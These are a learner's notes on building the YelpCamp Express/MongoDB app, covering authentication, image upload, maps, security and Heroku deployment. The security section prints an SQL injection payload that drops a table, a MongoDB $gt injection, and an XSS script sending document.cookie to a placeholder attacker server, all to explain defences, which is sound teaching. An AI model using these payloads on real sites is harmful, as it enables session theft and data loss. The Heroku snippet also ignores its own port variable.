YelpCamp is the main project of Colt Steele's 2021 Web Development bootcamp. Built on HTML, CSS, JS, NodeJS with EJS. Hosted on Mongo. The app offers full CRUD functionality.
- Full CRUD
- Maps
- Ratings
- Reviews
- Authentication
- Authorization
- Validation
- Image upload
- Cluster map
- MongoDB
- Virtual properties
- Mongoose middleware
Middleware are functions that have access to the request req and response res objects.
Middleware can:
- end the
reqby sending back aresobject with methods likeres.send(). - OR it can be chained together, one after another, by calling
next().
"Express is a routing and middleware web framework that has minimal functionality of its own: an express application is essentially a series of middleware function calls.
Middleware functions can perform the following tasks:
- Execute any code
- Make changes to the
reqandresobjects - End the
req-rescycle - Call the next middleware function in the stack." - expressjs.com/guide/using-middleware.html
We will connect multiple reviews to a campground, so our rating model will have a 'one to many' relationship. What we'll do in this case, is embed an array of object ids in each campground. The reason to do this is because we could potentially have 1000s of reviews associated to an object, so instead of embedding the entire review into each campground, we'll break each rating into their own model and store the object ids in the campground.
Updated campground model
const CampgroundSchema = new Schema({
title: String,
image: String,
price: Number,
description: String,
location: String,
reviews: [
{
type: Schema.Types.ObjectId,
ref: 'Review',
}
]
});Review model
const reviewSchema = new Schema ({
body: String,
rating: Number,
});We could add a ref for each review, but in this case, because we only care about the review in the context of the campground, it's not necessary.
To read more about Schema Types
Because we only care about the review in the context of the background, we'll just add a review form to the show page of each campground. Therefore we don't need a new route for the review form, but we do however, need to submit to the route it's in.
In order to make a review, we need to know the campground it's associated with. The easiest option is to include the campground id in the route, so nested routes.
Instead of something like POST /reviews following the RESTful pattern we've been following, we'll do POST /campgrounds/:id/reviews. We don't need RESTful routes for reviews (we don't need index or show pages), we only need all reviews for a single campground. In this case, we definitely want the campground id so that we can associate the two (the single campground to some new review), so that's were we'll post the data to.
Here's what our POST route for reviews looks like:
app.post('/campgrounds/:id/reviews', wrapAsync(async(req, res) => {
const campground = await Campground.findById(req.params.id);
const review = new Review(req.body.review);
campground.reviews.push(review);
await review.save();
await campground.save();
res.redirect(`/campgrounds/${campground._id}`);
}))Next we'll add validation.
Because the bootstrap form-range class already has a value (I think, need to check), it will default to the middle, so the value is 3, we don't have to worry about giving it a default value.
For the textarea however, we do want it to be required. However, in order to do form validation in bootstrap, we need to include the 'novalidation' attribute and the 'validated-form' class like this:
<form action="/campgrounds/<%= campground._id %>/reviews" method="POST" class="mb-3 validated-form" novalidate>
<div class="mb-3">
<label class="form-label" for="rating">Rating</label>
<input class="form-range"type="range" min="1" max="5" name="review[rating]" id="rating">
</div>
<div class="mb-3">
<label class="form-label" for="body">Review</label>
<textarea class="form-control" name="review[body]" id="body" cols="30" rows="3" required></textarea>
</div>
<button class="btn btn-success">Submit</button>
</form>We're preventing submit on the client side only. Someone could still use something like Postman or Ajax or send a request some other way to circumvent our form and create an empty review or rating.
In order to validate server side, we'll use Joi and add a review schema to our schemas.js file in the root folder
module.exports.reviewSchema = Joi.object({
review: Joi.object({
rating: Joi.number().required().min(1).max(5),
body: Joi.string().required(),
}).required()
})We are expecting an review that consists of an object that has nested inside a rating, which is a number and a body that is a string and they are both required.
To read more on validation with Joi: Joi docs.
Right now we don't have access to the reviews. What is currently in the review array inside of campgrounds, is just an array of ObjectIds. So we need to 'populate' our campgrounds so that we can render the reviews that correspond to each campground.
app.get('/campgrounds/:id', wrapAsync(async (req, res) => {
const campground = await Campground.findById(req.params.id).populate('reviews');
res.render('campgrounds/show', {campground});
}))And then in our show.ejs template we'll loop through the reviews for that campground.
<% for(let review of campground.reviews) { %>
<div class="mb-3">
<p>Rating: <%= review.rating %></p>
<p>Review: <%= review.body %> </p>
</div>
<% } %> Express router likes to keep params separate. Routers get separate params, so you need to specify { mergeParams: true} in order for parameters to be accessible for ALL routes.
In our case, if we don't merge the parameters, in our reviews.js routes, we won't have access to the campground id, even though it is included in the route (it will show up as an empty object).
const router = express.Router({mergeParams: true});
To use passport local we need to install passport, passport local and passport-local-mongoose
npm install passport-local-mongoose
Passport-Local Mongoose does not require passport or mongoose dependencies directly but expects you to have these dependencies installed.
In case you need to install the whole set of dependencies
npm install passport mongoose passport-local-mongoose
Plugin Passport-Local Mongoose First you need to plugin Passport-Local Mongoose into your User schema
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const passportLocalMongoose = require('passport-local-mongoose');
const User = new Schema({});
User.plugin(passportLocalMongoose);
module.exports = mongoose.model('User', User);You're free to define your User how you like. Passport-Local Mongoose will add a username, hash and salt field to store the username, the hashed password and the salt value. Additionally Passport-Local Mongoose adds some methods to your Schema. See the API Documentation section for more details.
In a Connect or Express-based application, passport.initialize() middleware is required to initialize Passport. If your application uses persistent login sessions, passport.session() middleware must also be used.
app.configure(function() {
app.use(express.static('public'));
app.use(express.cookieParser());
app.use(express.bodyParser());
app.use(express.session({ secret: 'keyboard cat' }));
app.use(passport.initialize());
app.use(passport.session());
app.use(app.router);
});Note that enabling session support is entirely optional, though it is recommended for most applications. If enabled, be sure to use session() before passport.session() to ensure that the login session is restored in the correct order.
Static methods are exposed on the model constructor. For example to use createStrategy function use
const User = require('./models/user');
User.createStrategy();authenticate() Generates a function that is used in Passport's LocalStrategy
passport.use(new LocalStrategy(User.authenticate()));
serializeUser() Generates a function that is used by Passport to serialize users into the session
deserializeUser() Generates a function that is used by Passport to deserialize users into the session
register(user, password, cb) Convenience method to register a new user instance with a given password. Checks if username is unique. See login example.
findByUsername() Convenience method to find a user instance by it's unique username.
createStrategy() Creates a configured passport-local LocalStrategy instance that can be used in passport.
How to store and delete user information.
serializeUser() Generates a function that is used by Passport to serialize users into the session
deserializeUser() Generates a function that is used by Passport to deserialize users into the session
register(user, password, cb) Convenience method to register a new user instance with a given password. Checks if username is unique. See login example.
Passport automatically includes a user in the req object which will gives us the deserialized information about the user. This allows us to do things like hide routes dynamically according to whether the user is registered/logged on/logged out.
req.user... {
_id: 6115b650ed0b23531fc86390,
email: '[email protected]',
username: 'John',
__v: 0
}In our app.js
app.use((req, res, next) => {
res.locals.currentUser = req.user;
res.locals.success = req.flash('success');
res.locals.error = req.flash('error');
next();
})res.locals.currentUser = req.user will gives us access to req.user on every route. This way we can dynamically set our routes.
Passport gives us the functionality so that when users register they are NOT redirected, but logged in automatically.
Passport exposes a login() function on req (also aliased as logIn()) that can be used to establish a login session.
req.login(user, function(err) {
if (err) { return next(err); }
return res.redirect('/users/' + req.user.username);
});When the login operation completes, user will be assigned to req.user.
Note: passport.authenticate() middleware invokes req.login() automatically. This function is primarily used when users sign up, during which req.login() can be invoked to automatically log in the newly registered user.
router.post('/register', wrapAsync(async(req, res, next) => {
try {
const {email, username, password} = req.body;
const user = new User({email, username});
const registeredUser = await User.register(user, password);
req.login(registeredUser, err => {
if(err) return next(err);
req.flash('success', 'Welcome to YelpCamp');
res.redirect('/campgrounds');
})
} catch (e) {
req.flash('error', e.message);
res.redirect('register');
}
}));Source: passport docs/operations
Source: npm - passport walkthrough
Source: passport-local mongoose
Source: passport JS docs - strategies
Redirecting the user to wherever they wanted to go. We keep track of where the user was initially requesting.
For example, in our case, whether the request was made when they are trying to log in or when we are verifying that they are authenticated, if they're not, we can just store the URL they are requesting and then redirect.
In middleware.js
module.exports.isLoggedIn = (req, res, next) => {
if(!req.isAuthenticated()){
//store the url they are requesting
req.flash('error', 'You must be signed in');
return res.redirect('/login');
}
next();
}First, hide edit/delete buttons if they are not the author. This is simple and is done by adding a conditional to the template:
<% if(currentUser && campground.author.equals(currentUser._id)) { %>
<div class="card-body">
<a class="card-link btn btn-info" href="/campgrounds/<%= campground._id %>/edit">Edit</a>
<form class="d-inline" action="/campgrounds/<%= campground._id %>?_method=DELETE" method="POST">
<button class="btn btn-danger">Delete</button>
</form>
</div>
<% } %>If campground.author is empty, our code will break, so we make sure it's not empty by including currentUser.
MVC is not a pattern unique to express. Controller is just a file that exports a function with functionality. For example, this logic:
wrapAsync(async (req, res, next) => {
const campground = new Campground(req.body.campground);
campground.author = req.user._id;
await campground.save();
req.flash('success', 'Successfully made a new campground');
res.redirect(`/campgrounds/${campground._id}`);
})This is the logic we use to create a new campground, we'll move this to our campground controller and we'll give it a name (i.e. createCampground and then pass it through our router). This will help us abstract our routes as much as possible, making them easier to read and understand what they are doing at a glance. Also the function names we can give them can help clarify what we are doing with them.
MVC is an approach to structuring applications. We've been using models and views already. The basic concept is the following: Model - data, modeling of data View - layout, everything the user sees Controller - rendering views, the business logic
Our routes will look like this now:
router.get('/', wrapAsync());
And our controllers will look like this:
module.exports.index = async (req, res) => {
const campgrounds = await Campground.find({})
res.render('campgrounds/index', { campgrounds });
}Make sure you remember to require the controller in the router:
In routes/campgrounds: const campgrounds = require('../controllers/campgrounds')
Returns an instance of a single route which you can then use to handle HTTP verbs with optional middleware. Use router.route() to avoid duplicate route naming and thus typing errors.
The following code shows how to use router.route() to specify various HTTP method handlers.
const router = express.Router()
router.param('user_id', function (req, res, next, id) {
// sample user, would actually fetch from DB, etc...
req.user = {
id: id,
name: 'TJ'
}
next()
})
router.route('/users/:user_id')
.all(function (req, res, next) {
// runs for all HTTP verbs first
// think of it as route specific middleware!
next()
})
.get(function (req, res, next) {
res.json(req.user)
})
.put(function (req, res, next) {
// just an example of maybe updating the user
req.user.name = req.params.name
// save user ... etc
res.json(req.user)
})
.post(function (req, res, next) {
next(new Error('not implemented'))
})
.delete(function (req, res, next) {
next(new Error('not implemented'))
})Or in our case:
router.route('/register')
.get(users.renderRegister)
.post(wrapAsync(users.register));Source: expressJS docs - router.route
Two things to keep in mind from the get go:
- A standard HTML form won't do, we'll need to modify it.
- We can't, or shouldn't use Mongo to update images because there is a 16mb size limit, there are workarounds, but it's not good practice.
If we want to upload files, we need to set the enctype of the form to multipart/form-data.
enctype
If the value of the method attribute is post, enctype is the MIME type of the form submission.
Possible values:
application/x-www-form-urlencoded: The default value.
multipart/form-data: Use this if the form contains <input> elements with type=file.
text/plain: Introduced by HTML5 for debugging purposes.
This value can be overridden by formenctype attributes on <button>, <input type="submit">, or <input type="image"> elements.
In our project, in views/campgrounds/new:
<form action="/campgrounds" method="POST" novalidate class="validated-form" enctype="multipart/form-data">
<input type="file" name="image" id="image">
In order to parse multi-part forms (the attribute we set up in the reference form above), we need to use another middleware.
Multer is a node.js middleware for handling multipart/form-data, which is primarily used for uploading files. It is written on top of busboy for maximum efficiency.
NOTE: Multer will not process any form which is not multipart (multipart/form-data).
Multer adds a body object and a file or files object to the request object. The body object contains the values of the text fields of the form, the file or files object contains the files uploaded via the form.
Multer does what express' urlencoded middleware does for JSON data, that is parse it.
app.use(express.urlencoded({ extended: true }));
But to use it is a bit different:
- Require multer
- Initialize
- Pass a configuration object
- Specify a destination path.
.single(fieldname) Accept a single file with the name fieldname. The single file will be stored in req.file.
.array(fieldname[, maxCount]) Accept an array of files, all with the name fieldname. Optionally error out if more than maxCount files are uploaded. The array of files will be stored in req.files.
We can add upload.single middleware to the post route:
.post(upload.single('image'), (req, res)=> {
console.log(req.body, req.file)
})Output
Session {
cookie: {
path: '/',
_expires: 2021-08-20T22:55:33.259Z,
originalMaxAge: 604800000,
httpOnly: true
},
flash: {},
passport: { user: 'Simon' }
}
[Object: null prototype] {
campground: [Object: null prototype] {
title: 'asdasd',
location: 'asdasd',
price: '12',
description: 'asdasd'
}
} {
fieldname: 'image',
originalname: 'Magic_Paper__OG_Magic.png',
encoding: '7bit',
mimetype: 'image/png',
destination: 'uploads/',
filename: '7ba30aa9729e6fcea7d1748dbc3dd795',
path: 'uploads/7ba30aa9729e6fcea7d1748dbc3dd795',
size: 343009
}A path to the upload, filename, destination, etc. Info about our file and where it is and it also creates an 'uploads' folder where it will temporary store files until we set up Cloudinary.
Dotenv is a zero-dependency module that loads environment variables from a .env file into process.env. Storing configuration in the environment separate from code is based on The Twelve-Factor App methodology.
In our app.js
if(process.env.NODE_ENV !== "production"){
require('dotenv').config();
}And then store whatever information you need in .env in the form of key: value pairs.
CLOUDINARY_NAME = cloudname
DO NOT use quotes or spaces for your values.
A multer storage engine for Cloudinary. Also consult the Cloudinary API.
npm install multer-storage-cloudinary
Usage
const cloudinary = require('cloudinary').v2;
const { CloudinaryStorage } = require('multer-storage-cloudinary');
const express = require('express');
const multer = require('multer');
const app = express();
const storage = new CloudinaryStorage({
cloudinary: cloudinary,
params: {
folder: 'some-folder-name',
format: async (req, file) => 'png', // supports promises as well
public_id: (req, file) => 'computed-filename-using-request',
},
});
const parser = multer({ storage: storage });
app.post('/upload', parser.single('image'), function (req, res) {
res.json(req.file);
});Source npm/multer-storage-cloudinary
Instead we'll use Cloudinary.
The only difference between posting the images and updating the images is that instead of creating a new array, with our put we are only adding to the array, so we just use campground.images.push = req.files....
There are plenty of geo-coding options available.
config Object
config.query string A place name.
config.mode ("mapbox.places" | "mapbox.places-permanent") Either mapbox.places for ephemeral geocoding, or mapbox.places-permanent for storing results and batch geocoding. (optional, default "mapbox.places")
config.countries Array? Limits results to the specified countries. Each item in the array should be an ISO 3166 alpha 2 country code.
config.proximity Coordinates? Bias local results based on a provided location.
config.types Array<("country" | "region" | "postcode" | "district" | "place" | "locality" | "neighborhood" | "address" | "poi" | "poi.landmark")>? Filter results by feature types.
config.autocomplete boolean Return autocomplete results or not. (optional, default true)
config.bbox BoundingBox? Limit results to a bounding box.
config.limit number Limit the number of results returned. (optional, default 5)
config.language Array? Specify the language to use for response text and, for forward geocoding, query result weighting. Options are IETF language tags comprised of a mandatory ISO 639-1 language code and optionally one or more IETF subtags for country or script.
config.routing boolean Specify whether to request additional metadata about the recommended navigation destination. Only applicable for address features. (optional, default false)
geocodingClient.forwardGeocode({
query: 'Paris, France',
limit: 2
})
.send()
.then(response => {
const match = response.body;
});
// geocoding with proximity
geocodingClient.forwardGeocode({
query: 'Paris, France',
proximity: [-95.4431142, 33.6875431]
})
.send()
.then(response => {
const match = response.body;
});
// geocoding with countries
geocodingClient.forwardGeocode({
query: 'Paris, France',
countries: ['fr']
})
.send()
.then(response => {
const match = response.body;
});
// geocoding with bounding box
geocodingClient.forwardGeocode({
query: 'Paris, France',
bbox: [2.14, 48.72, 2.55, 48.96]
})
.send()
.then(response => {
const match = response.body;
});npm install @mapbox/mapbox-sdk
Source - npm mapbox-sdk
Source - github full mapbox docs
Source - github full mapboxdocs/forward-geocoding
Source - Mapbox docs
GeoJSON is a format for storing geographic points and polygons. MongoDB has excellent support for geospatial queries on GeoJSON objects. Let's take a look at how you can use Mongoose to store and query GeoJSON objects.
Point Schema
The most simple structure in GeoJSON is a point. Below is an example point representing the approximate location of San Francisco. Note that longitude comes first in a GeoJSON coordinate array, not latitude.
{
"type" : "Point",
"coordinates" : [
-122.5,
37.7
]
}Below is an example of a Mongoose schema where location is a point.
const citySchema = new mongoose.Schema({
name: String,
location: {
type: {
type: String, // Don't do `{ location: { type: String } }`
enum: ['Point'], // 'location.type' must be 'Point'
required: true
},
coordinates: {
type: [Number],
required: true
}
}
});Source - mongoose docs/usingGeoJSON
Source - mapboxDocs/mapbox-GL-JS
// <script>
mapboxgl.accessToken = 'pk.eyJ1IjoibWljb2NoYW5nbyIsImEiOiJja3NjNTN3ZWYwZGV3MzFueTdoNmd1c2V1In0.Zk4U-ge26gvSowQ0_vSSmQ';
const map = new mapboxgl.Map({
container: 'map',
style: 'mapbox://styles/mapbox/streets-v11',
center: [12.550343, 55.665957],
zoom: 8
});
// Create a default Marker and add it to the map
const marker1 = new mapboxgl.Marker()
.setLngLat([12.554729, 55.70651])
.addTo(map);
// Create a default Marker, colored black, rotated 45 degrees.**
const marker2 = new mapboxgl.Marker({ color: 'black', rotation: 45 })
.setLngLat([12.65147, 55.608166])
.addTo(map);
// </script>In our public/JS/showPageMap.js
mapboxgl.accessToken = mapToken;
const map = new mapboxgl.Map({
container: 'map', // container ID
style: 'mapbox://styles/mapbox/streets-v11', // style URL
center: [-74.5, 40], // starting position [lng, lat]
zoom: 9 // starting zoom
});
new mapboxgl.Marker()
.setLngLat([-74.5, 40])
.addTo(map)Source - mapboxDocs/mapbox-GL-JS/examples
mapboxgl.accessToken = 'pk.eyJ1IjoibWljb2NoYW5nbyIsImEiOiJja3NjNTN3ZWYwZGV3MzFueTdoNmd1c2V1In0.Zk4U-ge26gvSowQ0_vSSmQ';
const map = new mapboxgl.Map({
container: 'map',
style: 'mapbox://styles/mapbox/dark-v10',
center: [-103.5917, 40.6699],
zoom: 3
});
map.on('load', () => {
// Add a new source from our GeoJSON data and
// set the 'cluster' option to true. GL-JS will
// add the point_count property to your source data.
map.addSource('earthquakes', {
type: 'geojson',
// Point to GeoJSON data. This example visualizes all M1.0+ earthquakes
// from 12/22/15 to 1/21/16 as logged by USGS' Earthquake hazards program.
data: 'https://docs.mapbox.com/mapbox-gl-js/assets/earthquakes.geojson',
cluster: true,
clusterMaxZoom: 14, // Max zoom to cluster points on
clusterRadius: 50 // Radius of each cluster when clustering points (defaults to 50)
});
map.addLayer({
id: 'clusters',
type: 'circle',
source: 'earthquakes',
filter: ['has', 'point_count'],
paint: {
// Use step expressions (https://docs.mapbox.com/mapbox-gl-js/style-spec/#expressions-step)
// with three steps to implement three types of circles:
// * Blue, 20px circles when point count is less than 100
// * Yellow, 30px circles when point count is between 100 and 750
// * Pink, 40px circles when point count is greater than or equal to 750
'circle-color':
[
'step',
[
'get',
'point_count'
],
'#51bbd6',
100,
'#f1f075',
750,
'#f28cb1'
],
'circle-radius':
[
'step',
[
'get',
'point_count'
],
20,
100,
30,
750,
40
]
}
});
map.addLayer({
id: 'cluster-count',
type: 'symbol',
source: 'earthquakes',
filter: ['has', 'point_count'],
layout: {
'text-field': '{point_count_abbreviated}',
'text-font': ['DIN Offc Pro Medium', 'Arial Unicode MS Bold'],
'text-size': 12
}
});
map.addLayer({
id: 'unclustered-point',
type: 'circle',
source: 'earthquakes',
filter: ['!', ['has', 'point_count']],
paint: {
'circle-color': '#11b4da',
'circle-radius': 4,
'circle-stroke-width': 1,
'circle-stroke-color': '#fff'
}
});
// inspect a cluster on click
map.on('click', 'clusters', (e) => {
const features = map.queryRenderedFeatures(e.point, {
layers: ['clusters']
});
const clusterId = features[0].properties.cluster_id;
map.getSource('earthquakes').getClusterExpansionZoom(
clusterId,
(err, zoom) => {
if (err) return;
map.easeTo({
center: features[0].geometry.coordinates,
zoom: zoom
});
}
);
});
// When a click event occurs on a feature in
// the unclustered-point layer, open a popup at
// the location of the feature, with
// description HTML from its properties.
map.on('click', 'unclustered-point', (e) => {
const coordinates = e.features[0].geometry.coordinates.slice();
const mag = e.features[0].properties.mag;
const tsunami =
e.features[0].properties.tsunami === 1 ? 'yes' : 'no';
// Ensure that if the map is zoomed out such that
// multiple copies of the feature are visible, the
// popup appears over the copy being pointed to.
while (Math.abs(e.lngLat.lng - coordinates[0]) > 180) {
coordinates[0] += e.lngLat.lng > coordinates[0] ? 360 : -360;
}
new mapboxgl.Popup()
.setLngLat(coordinates)
.setHTML(
`magnitude: ${mag}<br>Was there a tsunami?: ${tsunami}`
)
.addTo(map);
});
map.on('mouseenter', 'clusters', () => {
map.getCanvas().style.cursor = 'pointer';
});
map.on('mouseleave', 'clusters', () => {
map.getCanvas().style.cursor = '';
});
});Source - mapboxdocs/mapbox-gl-js/example/cluster/
SQL injection is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).[1] SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.
SQL takes advantage of the SQL syntax
var statement = "SELECT * FROM users WHERE name = '" + userName + "'";
In a very basic SQL attack, the user, instead of entering their username, enters something like this:
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
What they're doing here is basically closing the first query by adding a single quote to close the query (i.e. name ='a') and then add a semi-colon (;) which basically designates the end of a SQL query and allows them to add on their own query. In this example, DROP TABLE tells SQL to remove the entire users database.
Just because we are using a NoSQL database, doesn't mean we are inmune to this type of attacks.
Source - wikipedia/SQL-injection
In this examle we are querying the user for their username:
db.users.find({username: req.body.username});
We expect an input that looks like this:
db.users.find({username: 'colt'});
However, they could input something like this:
db.users.find({username: "$gt": ""});
This tells mongo to find users where 'username' is greater than nothing (all users whose username is greater than an empty string, in other words, find all users.)
Prevent users from using $, . or any other input that would allow the user to manipulate any dynamic query.
Express 4.x middleware which sanitizes user-supplied data to prevent MongoDB Operator Injection.
npm install express-mongo-sanitize
Usage Add as a piece of express middleware, before defining your routes.
const express = require('express');
const bodyParser = require('body-parser');
const mongoSanitize = require('express-mongo-sanitize');
const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
// To remove data, use:
app.use(mongoSanitize());
// Or, to replace prohibited characters with _, use:
app.use(
mongoSanitize({
replaceWith: '_',
}),
);Source - npm/express-mongo-sanitize
Cross-site scripting (XSS) is a type of security vulnerability typically found in web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec up until 2007.[1] XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.
The way it works is the attacker injects their own client-side script that runs on their browser into someone else' application, usually with nefarious intentions.
Source - wikipedia/cross-site-scripting Cool game to understand XSS attacks
A lot of people will have their cookies available in the browser through the document (i.e. document.cookie).
If we can access that cookie, we could insert a script that takes the information from a single user and send it somewhere else (our 'bad server').
<script>new Image().src="mybadserver/hacker?output="+document.cookie;</script>
This script creates a new Image element, where we set the source src. Whenever we set the source on an image the browser will send a request. So this is one way of sending a request that sends document.cookie to my server.
www.yourwebsite.com?name=<script>new Image().src="mybadserver/hacker?output="+document.cookie;</script>
This is an example of the same injection in a URL. This will run the injected code whenever that URL is run.
Source - XSS Filter Evasion Cheat Sheet
npm install helmet --save
const express = require("express");
const helmet = require("helmet");
const app = express();
app.use(helmet());
// ...Helmet is Connect-style middleware, which is compatible with frameworks like Express. (If you need support for Koa, see koa-helmet.)
The top-level helmet function is a wrapper around 15 smaller middlewares, 11 of which are enabled by default.
In other words, these two things are equivalent:
// This...
app.use(helmet());
// ...is equivalent to this:
app.use(helmet.contentSecurityPolicy());
app.use(helmet.dnsPrefetchControl());
app.use(helmet.expectCt());
app.use(helmet.frameguard());
app.use(helmet.hidePoweredBy());
app.use(helmet.hsts());
app.use(helmet.ieNoOpen());
app.use(helmet.noSniff());
app.use(helmet.permittedCrossDomainPolicies());
app.use(helmet.referrerPolicy());
app.use(helmet.xssFilter());To set custom options for one of the middleware, add options like this:
// This sets custom options for the `referrerPolicy` middleware.
app.use(
helmet({
referrerPolicy: { policy: "no-referrer" },
})
);
You can also disable a middleware:
// This disables the `contentSecurityPolicy` middleware but keeps the rest.
app.use(
helmet({
contentSecurityPolicy: false,
})
);There is one issue with Helmet, the contentSecurityPolicy() will not be happy with some of the dependencies of our project. Our image won't load, because Helmet will complain about Bootstrap and and Unsplash settings.
You can read more about the different headers that Helmet adds at here.
If we compare it to the headers we get when we disable app.use(helmet()):
Related articles: What is a Content Security Policy (CSP)
npm install connect-mongo
Usage Express or Connect integration Express 4.x, 5.0 and Connect 3.x:
const session = require('express-session');
const MongoStore = require('connect-mongo');
app.use(session({
secret: 'foo',
store: MongoStore.create(options)
}));
import session from 'express-session'
import MongoStore from 'connect-mongo'
app.use(session({
secret: 'foo',
store: MongoStore.create(options)
}));Connection to MongoDB In many circumstances, connect-mongo will not be the only part of your application which need a connection to a MongoDB database. It could be interesting to re-use an existing connection.
Alternatively, you can configure connect-mongo to establish a new connection.
Create a new connection from a MongoDB connection string MongoDB connection strings are the best way to configure a new connection. For advanced usage, more options can be configured with mongoOptions property.
// Basic usage
app.use(session({
store: MongoStore.create({ mongoUrl: 'mongodb://localhost/test-app' })
}));
// Advanced usage
app.use(session({
store: MongoStore.create({
mongoUrl: 'mongodb://user12345:foobar@localhost/test-app?authSource=admin&w=1',
mongoOptions: advancedOptions // See below for details
})
}));Source - Heroku docs/The Heroku CLI
Because we are running our app through Heroku, we don't have access to our normal output in the console to tell us what went wrong.
Heroku does provide the command heroku logs --tail which we can run in the terminal:
macadmin@C02RK1VAFVH6 YelpCamp % heroku logs --tail
2021-08-15T18:36:10.867357+00:00 app[api]: Release v1 created by user
2021-08-15T18:36:10.867357+00:00 app[api]: Initial release by user
2021-08-15T18:36:11.103341+00:00 app[api]: Enable Logplex by user
2021-08-15T18:36:11.103341+00:00 app[api]: Release v2 created by user
2021-08-15T18:49:09.000000+00:00 app[api]: Build started by user
2021-08-15T18:49:33.770398+00:00 app[api]: Release v3 created by user
2021-08-15T18:49:33.770398+00:00 app[api]: Deploy 49b939ce by user
2021-08-15T18:49:33.786605+00:00 app[api]: Scaled to web@1:Free by user
2021-08-15T18:49:35.000000+00:00 app[api]: Build succeeded
2021-08-15T18:49:36.492944+00:00 heroku[web.1]: Starting process with command `npm start`
2021-08-15T18:49:38.860573+00:00 app[web.1]: npm ERR! missing script: start
2021-08-15T18:49:38.864000+00:00 app[web.1]:
2021-08-15T18:49:38.864214+00:00 app[web.1]: npm ERR! A complete log of this run can be found in:
2021-08-15T18:49:38.864270+00:00 app[web.1]: npm ERR! /app/.npm/_logs/2021-08-15T18_49_38_861Z-debug.log
2021-08-15T18:49:38.919129+00:00 heroku[web.1]: Process exited with status 1
2021-08-15T18:49:38.988282+00:00 heroku[web.1]: State changed from starting to crashed
2021-08-15T18:49:38.993785+00:00 heroku[web.1]: State changed from crashed to starting
2021-08-15T18:49:41.336826+00:00 heroku[web.1]: Starting process with command `npm start`
2021-08-15T18:49:43.400419+00:00 app[web.1]: npm ERR! missing script: start
2021-08-15T18:49:43.405856+00:00 app[web.1]:
2021-08-15T18:49:43.406015+00:00 app[web.1]: npm ERR! A complete log of this run can be found in:
2021-08-15T18:49:43.406066+00:00 app[web.1]: npm ERR! /app/.npm/_logs/2021-08-15T18_49_43_400Z-debug.log
2021-08-15T18:49:43.450922+00:00 heroku[web.1]: Process exited with status 1
2021-08-15T18:49:43.515283+00:00 heroku[web.1]: State changed from starting to crashed
2021-08-15T18:50:18.377583+00:00 heroku[router]: at=error code=H10 desc="App crashed" method=GET path="/" host=morning-escarpment-23674.herokuapp.com request_id=47ebaddf-8bff-4049-83af-fd5bb79739e3 fwd="108.66.17.229" dyno= connect= service= status=503 bytes= protocol=https
2021-08-15T18:50:19.747374+00:00 heroku[router]: at=error code=H10 desc="App crashed" method=GET path="/favicon.ico" host=morning-escarpment-23674.herokuapp.com request_id=07195076-345d-4a99-bf54-9322ad8a64f1 fwd="108.66.17.229" dyno= connect= service= status=503 bytes= protocol=httpsHeroku doesn't know how to run our application!
So far, we've been using nodemon to run our application, but that doesn't for Heroku. We need to specify a start command for Heroku in our package.json file.
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"start": "node app.js"
},We also need to change the PORT:
const port = process.env.PORT || 3000;
app.listen(3000, () => {
console.log(`Running on port ${port}`)
})So far, we've been using .env to configure our environment variables, but with heroku, we can configure our environment variables in two ways:
- Through the application dashboard:
dashboard/settings/config-vars - Through the command line:
heroku config:set SECRET=...
